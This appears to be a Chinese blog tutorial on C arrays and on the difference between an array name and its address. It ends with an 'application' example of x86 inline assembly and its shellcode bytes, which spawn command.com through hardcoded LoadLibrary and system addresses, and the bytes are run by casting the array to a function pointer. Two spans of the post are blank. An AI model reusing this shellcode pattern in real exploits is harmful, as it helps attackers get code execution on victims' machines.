一、c语言的数组定义的几种形式如下:
char array[100];
char array[] = "abcdefg";
char array[]={'a','b','c','d','e','f','g'};
int array[]={1,2,3,4};
二、数组名代表数组的首地址,数组元素可以通过以下方式引用:
array[0] == *(array + 0); //取第一个元素
array[1] == *(array + 1); //取第二个元素
printf("%.08x", array); //打印数组地址
三、问题是如果对数组名取地址操作呢,结果会怎样? 下面引用我在网上找到的资料(http://taobaodian.bokee.com/viewdiary.11716434.html):

















四、应用
下面是一段获得Shell的内嵌asm的c代码
{
__asm{
mov edi , esp ;保留当前esp
mov ebx , ebp ;保留当前ebp
mov ebp , esp ; 把当前esp赋给ebp
xor eax , eax
push eax
sub esp , 0ch ;保留字符串空间
mov byte ptr [ebp - 0bh] , 6Dh ; m
mov byte ptr [ebp - 0ah] , 73h ; s
mov byte ptr [ebp - 09h] , 76h ; v
mov byte ptr [ebp - 08h] , 63h ; c
mov byte ptr [ebp - 07h] , 72h ; r
mov byte ptr [ebp - 06h] , 74h ; t
mov byte ptr [ebp - 05h] , 2Eh ; .
mov byte ptr [ebp - 04h] , 64h ; d
mov byte ptr [ebp - 03h] , 6Ch ; l
mov byte ptr [ebp - 02h] , 6Ch ; l
lea eax , [ebp - 0bh]
push eax
mov eax , 0x7c883f9c
call eax ;调用LoadLibrary
mov ebp , esp
xor eax , eax
push eax ;压入0,esp- 4 , ; 作用是构造字符串的结尾 0字符。
sub esp , 10h ;加上上面,一共有12个字节 , ;用来放 " command.com " 。
mov byte ptr [ebp - 0ch] , 63h ; c
mov byte ptr [ebp - 0bh] , 6fh ; o
mov byte ptr [ebp - 0ah] , 6dh ; m
mov byte ptr [ebp - 09h] , 6Dh ; m
mov byte ptr [ebp - 08h] , 61h ; a
mov byte ptr [ebp - 07h] , 6eh ; n
mov byte ptr [ebp - 06h] , 64h ; d
mov byte ptr [ebp - 05h] , 2Eh ; .
mov byte ptr [ebp - 04h] , 63h ; c
mov byte ptr [ebp - 03h] , 6fh ; o
mov byte ptr [ebp - 02h] , 6dh ; m一个一个生成串 " command.com " .
lea eax , [ebp - 0ch] ;
push eax ; command . com串地址作为参数入栈
mov eax , 0x77bf93c7 ;
call eax ; call System函数的地址
mov ebp , ebx; 恢复ebp
mov esp , edi ;恢复esp
}
}
其生成的机器码为





















于是,我们可以将这段机器码放到内存中,让eip指向首地址去执行这段代码
unsigned char shellcode[] =
"/x55"
"/x8B/xEC"
"/x83/xEC/x4C"
"/x53"
"/x56"
"/x57"
"/x8D/x7D/xB4"
"/xB9/x13/x00/x00/x00"
"/xB8/xCC/xCC/xCC/xCC"
"/xF3/xAB"
"/x8B/xFC/x8B/xDD/x8B/xEC/x33/xC0/x50"
"/x83/xEC/x0C/xC6/x45/xF5/x6D/xC6/x45/xF6/x73"
"/xC6/x45/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45/xFC/x64/xC6/x45/xFD/x6C"
"/xC6/x45/xFE/x6C/x8D/x45/xF5/x50/xB8/x9C/x3F/x88/x7C/xFF/xD0/x8B/xEC/x33/xC0/x50"
"/x83/xEC/x10/xC6/x45/xF4/x63/xC6/x45/xF5/x6F/xC6/x45/xF6/x6D/xC6/x45/xF7/x6D"
"/xC6/x45/xF8/x61/xC6/x45/xF9/x6E/xC6/x45/xFA/x64/xC6/x45/xFB/x2E/xC6/x45/xFC/x63"
"/xC6/x45/xFD/x6F/xC6/x45/xFE/x6D/x8D/x45/xF4/x50/xB8/xC7/x93/xBF/x77/xFF/xD0/x8B/xEB/x8B/xE7"
"/x5F/x5E/x5B/x8B/xE5/x5D/xC3";
int main(int argc, char* argv[])
{
((void (*)())&shellcode)();
}
请注意上面怎样调用该shellcode,取数组名地址,然后转换为void (*)()这样的函数指针,编译器解析通过。
反汇编后发现生成指令
call 数组首地址
请注意,此处shellcode和&shellcode的值都是数组的首地址,但含义不一样,请参照上面的说明。